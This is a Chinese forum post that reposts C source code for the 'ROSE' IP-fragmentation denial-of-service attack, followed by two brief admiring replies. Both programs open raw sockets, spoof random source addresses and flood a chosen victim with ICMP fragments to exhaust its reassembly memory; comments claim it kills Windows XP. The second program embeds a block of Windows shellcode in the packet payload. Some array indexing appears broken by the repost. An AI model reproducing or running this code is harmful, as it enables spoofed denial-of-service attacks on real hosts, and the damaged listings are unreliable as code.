返回列表 回复 发帖

IP碎片攻击源代码

作 者: 不详
来 源: 不详
  1. /***
  2. ROSE attack (variation 2) (chuck (at) lemure.net)

  3. Discovered by:
  4. gandalf (at) digital.net

  5. code modified from large IGMP attack by:
  6. Kox by Coolio (coolio (at) k-r4d.com)

  7. Sends out small IP fragments totalling up to a large
  8. ICMP packet. Then repeatedly sends last IP Fragment forcing
  9. reassembly code to traverse to last IP fragment in order to
  10. do a free() followed by a malloc(). Or so it seems.

  11. Reportedly works for TCP / UDP as well, since this is
  12. a IP layer attack.


  13. ***/

  14. /* just a thousand kills win XP */

  15. #define NUM_PACKETS 100


  16. #include <stdio.h>
  17. #include <unistd.h>
  18. #include <stdlib.h>
  19. #include <netdb.h>
  20. #include <string.h>
  21. #include <errno.h>
  22. #include <pwd.h>
  23. #include <time.h>
  24. #include <sys/types.h>
  25. #include <sys/socket.h>
  26. #include <sys/utsname.h>
  27. #include <netinet/in.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/ip_icmp.h>

  30. #include <netinet/ip_icmp.h>

  31. void usage(char *arg)
  32. {
  33. printf("Rose attack\n");
  34. printf("Usage: %s <victim> [source]\n", arg);
  35. printf("If source not specified, will send out from random ip's\n");
  36. exit(1);
  37. }


  38. unsigned int randip()
  39. {
  40. struct hostent *he;
  41. struct sockaddr_in sin;
  42. char *buf = (char *)calloc(1, sizeof(char) * 16);

  43. sprintf(buf, "%d.%d.%d.%d",
  44. (random()%191)+23,
  45. (random()%253)+1,
  46. (random()%253)+1,
  47. (random()%253)+1);

  48. return inet_addr(buf);

  49. }

  50. unsigned short in_cksum(unsigned short *buh, int len)
  51. {
  52. register long sum = 0;
  53. unsigned short oddbyte;
  54. register unsigned short answer;

  55. while(len > 1) {
  56. sum += *buh++;
  57. len -= 2;
  58. }

  59. if(len == 1) {
  60. oddbyte = 0;
  61. *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
  62. sum += oddbyte;
  63. }

  64. sum = (sum >> 16) + (sum & 0xFFFF);
  65. sum += (sum >> 16);
  66. answer = ~sum;
  67. return answer;
  68. }

  69. int fire_away(struct sockaddr_in *victim, unsigned long src)
  70. {
  71. int SMALLICMP = 1;
  72. unsigned char *pkt;
  73. struct iphdr *ip;
  74. struct igmphdr *igmp;
  75. struct icmphdr *icmp_pkt;
  76. struct utsname *un;
  77. struct passwd *p;
  78. int idList[NUM_PACKETS];
  79. unsigned long j;
  80. int i, s;
  81. int id = (random() % 40000) + 500;
  82. for (i=0;i<NUM_PACKETS;i++)
  83. idList=(random() % 40000) + 500;


  84. pkt = (unsigned char *)calloc(1, SMALLICMP
  85. + sizeof(struct iphdr) +
  86. sizeof(struct icmphdr));
  87. ip = (struct iphdr *)pkt;
  88. icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
  89. ip->version = 4;
  90. ip->ihl = (sizeof *ip) / 4;
  91. ip->ttl = 255;
  92. ip->tot_len = htons(SMALLICMP);
  93. ip->protocol = 1;
  94. ip->id = htons(id);
  95. ip->frag_off = htons(IP_MF);
  96. ip->saddr = src;
  97. ip->daddr = victim->sin_addr.s_addr;
  98. ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));


  99. icmp_pkt->type = ICMP_ECHO;
  100. icmp_pkt->code = 0;
  101. icmp_pkt->checksum = 1000;
  102. icmp_pkt->un.echo.id = random() % 255;
  103. icmp_pkt->un.echo.sequence = random() % 255;

  104. for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
  105. i < SMALLICMP; i++){
  106. pkt = random() % 255;

  107. }

  108. if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  109. perror("error: socket()");
  110. return 1;
  111. }

  112. printf(" Sending out series of small fragments\r\n");

  113. for(i=0;i<NUM_PACKETS;i++){
  114. ip->id = htons(idList);
  115. for (j=0; j<8170; j += SMALLICMP + 1){
  116. ip->frag_off = htons(j | IP_MF);
  117. if(sendto(s, pkt,
  118. SMALLICMP + sizeof(struct iphdr),
  119. 0, (struct sockaddr *)victim,
  120. sizeof(struct sockaddr_in)) == -1) {
  121. perror("error: sendto()");
  122. return 1;
  123. }
  124. }
  125. }

  126. printf(" Sending out tailing fragments\r\n");
  127. /* big frag at end... */
  128. /* sending a large amount of the end fragments over and
  129. over. This is definitely overkill, but seems to work */
  130. for (j=0;j<9999*NUM_PACKETS;j++){
  131. for(i=0;i<NUM_PACKETS;i++){
  132. ip->id=htons(idList);
  133. ip->frag_off = htons(8190|IP_MF);
  134. //ip->frag_off = htons(8100 | IP_MF);
  135. sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP,
  136. 0, (struct sockaddr *)victim,
  137. sizeof(struct sockaddr_in));
  138. /* if you do sleep, CPU usage goes way down. But memory usage
  139. still creeps upward */
  140. //usleep(100); //sleep after every trailing packet
  141. }
  142. usleep(100); //sleep after every series of NUM_PACKETS
  143. }
  144. free(pkt);
  145. close(s);
  146. return 0;
  147. }

  148. int main(int argc, char *argv[])
  149. {
  150. struct sockaddr_in victim;
  151. struct hostent *he;
  152. unsigned long source;
  153. int i;

  154. srandom(time(NULL));

  155. if(argc < 2)
  156. usage(argv[0]);

  157. if((he = gethostbyname(argv[1])) == NULL) {
  158. herror(argv[1]);
  159. exit(1);
  160. }

  161. if (argc > 2){
  162. source = inet_addr(argv[2]);
  163. }
  164. else {
  165. source = randip();
  166. }

  167. memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
  168. victim.sin_port = htons(0);
  169. victim.sin_family = PF_INET;

  170. printf("Sending ICMP fragments: \r\n");
  171. fflush(stdout);
  172. fire_away(&victim, source);
  173. if (argc < 3){
  174. source = randip();
  175. }

  176. fflush(stdout);
  177. printf("\nDONE\n");
  178. fflush(stdout);
  179. }

  180. 
  181. /***
  182. ROSE attack (chuck@lemure.net)

  183. Discovered by:
  184. gandalf@digital.net

  185. code modified from large IGMP attack by:
  186. Kox by Coolio (coolio@k-r4d.com)


  187. Sends out first and last ICMP packet echo request.
  188. Reportedly works for TCP / UDP as well, since this is
  189. a IP layer attack.

  190. Eats up all available packets for fragmentation reassembly.


  191. ***/

  192. /* just a thousand kills win XP */

  193. #define NUM_PACKETS 1000


  194. #include <stdio.h>
  195. #include <unistd.h>
  196. #include <stdlib.h>
  197. #include <netdb.h>
  198. #include <string.h>
  199. #include <errno.h>
  200. #include <pwd.h>
  201. #include <time.h>
  202. #include <sys/types.h>
  203. #include <sys/socket.h>
  204. #include <sys/utsname.h>
  205. #include <netinet/in.h>
  206. #include <netinet/ip.h>
  207. #include <netinet/ip_icmp.h>

  208. #include <netinet/ip_icmp.h>

  209. /* Figured I try sending some shell code for my random payload...
  210. doesn't do anything
  211. */

  212. char code[] =
  213. "\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"
  214. "\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"
  215. "\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3"
  216. "\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"
  217. "\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
  218. "\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"
  219. "\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"
  220. "\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e"
  221. "\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"
  222. "\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"
  223. "\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"
  224. "\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"
  225. "\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"
  226. "\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"
  227. "\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"
  228. "\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"
  229. "\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"
  230. "\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"
  231. "\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"
  232. "\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"
  233. "\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"
  234. "\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"
  235. "\x5b\xc2\x08\x00";

  236. void usage(char *arg)
  237. {
  238. printf("Rose attack\n");
  239. printf("Usage: %s <victim> [source]\n", arg);
  240. printf("If source not specified, will send out from random ip's\n");
  241. exit(1);
  242. }


  243. unsigned int randip()
  244. {
  245. struct hostent *he;
  246. struct sockaddr_in sin;
  247. char *buf = (char *)calloc(1, sizeof(char) * 16);

  248. sprintf(buf, "%d.%d.%d.%d",
  249. (random()%191)+23,
  250. (random()%253)+1,
  251. (random()%253)+1,
  252. (random()%253)+1);


  253. return inet_addr(buf);

  254. }

  255. unsigned short in_cksum(unsigned short *buh, int len)
  256. {
  257. register long sum = 0;
  258. unsigned short oddbyte;
  259. register unsigned short answer;

  260. while(len > 1) {
  261. sum += *buh++;
  262. len -= 2;
  263. }

  264. if(len == 1) {
  265. oddbyte = 0;
  266. *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
  267. sum += oddbyte;
  268. }

  269. sum = (sum >> 16) + (sum & 0xFFFF);
  270. sum += (sum >> 16);
  271. answer = ~sum;
  272. return answer;
  273. }

  274. int rose(struct sockaddr_in *victim, unsigned long src)
  275. {
  276. int SMALLICMP = 1000;
  277. unsigned char *pkt;
  278. struct iphdr *ip;
  279. struct igmphdr *igmp;
  280. struct icmphdr *icmp_pkt;
  281. struct utsname *un;
  282. struct passwd *p;

  283. int i, s,j;
  284. int id = (random() % 40000) + 500;

  285. pkt = (unsigned char *)calloc(1, SMALLICMP);
  286. ip = (struct iphdr *)pkt;
  287. icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
  288. ip->version = 4;
  289. ip->ihl = (sizeof *ip) / 4;
  290. ip->ttl = 255;
  291. ip->tot_len = htons(SMALLICMP);
  292. ip->protocol = 1;
  293. ip->id = htons(id);
  294. ip->frag_off = htons(IP_MF);
  295. ip->saddr = src;
  296. ip->daddr = victim->sin_addr.s_addr;
  297. ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

  298. icmp_pkt->type = ICMP_ECHO;
  299. icmp_pkt->code = 0;
  300. icmp_pkt->checksum = 1000;
  301. icmp_pkt->un.echo.id = random() % 255;
  302. icmp_pkt->un.echo.sequence = random() % 255;

  303. for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
  304. i < SMALLICMP; i++){
  305. //pkt = random() % 255;
  306. pkt = '\x00';
  307. }
  308. j=0;
  309. for (i=sizeof(struct iphdr) + sizeof(struct icmphdr) + 500;
  310. i < sizeof(struct iphdr) + sizeof(struct icmphdr) + 500 + 356;
  311. i++){
  312. pkt = code[j];
  313. j++;
  314. }
  315. if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  316. perror("error: socket()");
  317. return 1;
  318. }

  319. if(sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,
  320. sizeof(struct sockaddr_in)) == -1) {
  321. perror("error: sendto()");
  322. return 1;
  323. }

  324. /* big frag at end... */

  325. ip->frag_off = htons(8100);
  326. //ip->frag_off = htons(8100 | IP_MF);
  327. sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,
  328. sizeof(struct sockaddr_in));

  329. free(pkt);
  330. close(s);
  331. usleep(1000);
  332. return 0;
  333. }

  334. int main(int argc, char *argv[])
  335. {
  336. struct sockaddr_in victim;
  337. struct hostent *he;
  338. unsigned long source;
  339. int i;

  340. srandom(time(NULL));

  341. if(argc < 2)
  342. usage(argv[0]);

  343. if((he = gethostbyname(argv[1])) == NULL) {
  344. herror(argv[1]);
  345. exit(1);
  346. }

  347. if (argc > 2){
  348. source = inet_addr(argv[2]);
  349. }
  350. else {
  351. source = randip();
  352. }

  353. memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
  354. victim.sin_port = htons(0);
  355. victim.sin_family = PF_INET;

  356. printf("Sending ICMP fragments: ");
  357. fflush(stdout);
  358. for(i = 0; i < NUM_PACKETS; i++)
  359. {
  360. rose(&victim, source);
  361. if (argc < 3){
  362. source = randip();
  363. }
  364. printf("%d\n", i);
  365. fflush(stdout);
  366. }
  367. printf("\nDONE\n");
  368. fflush(stdout);
复制代码
果然十分深奥
呵呵!学习一下啊
返回列表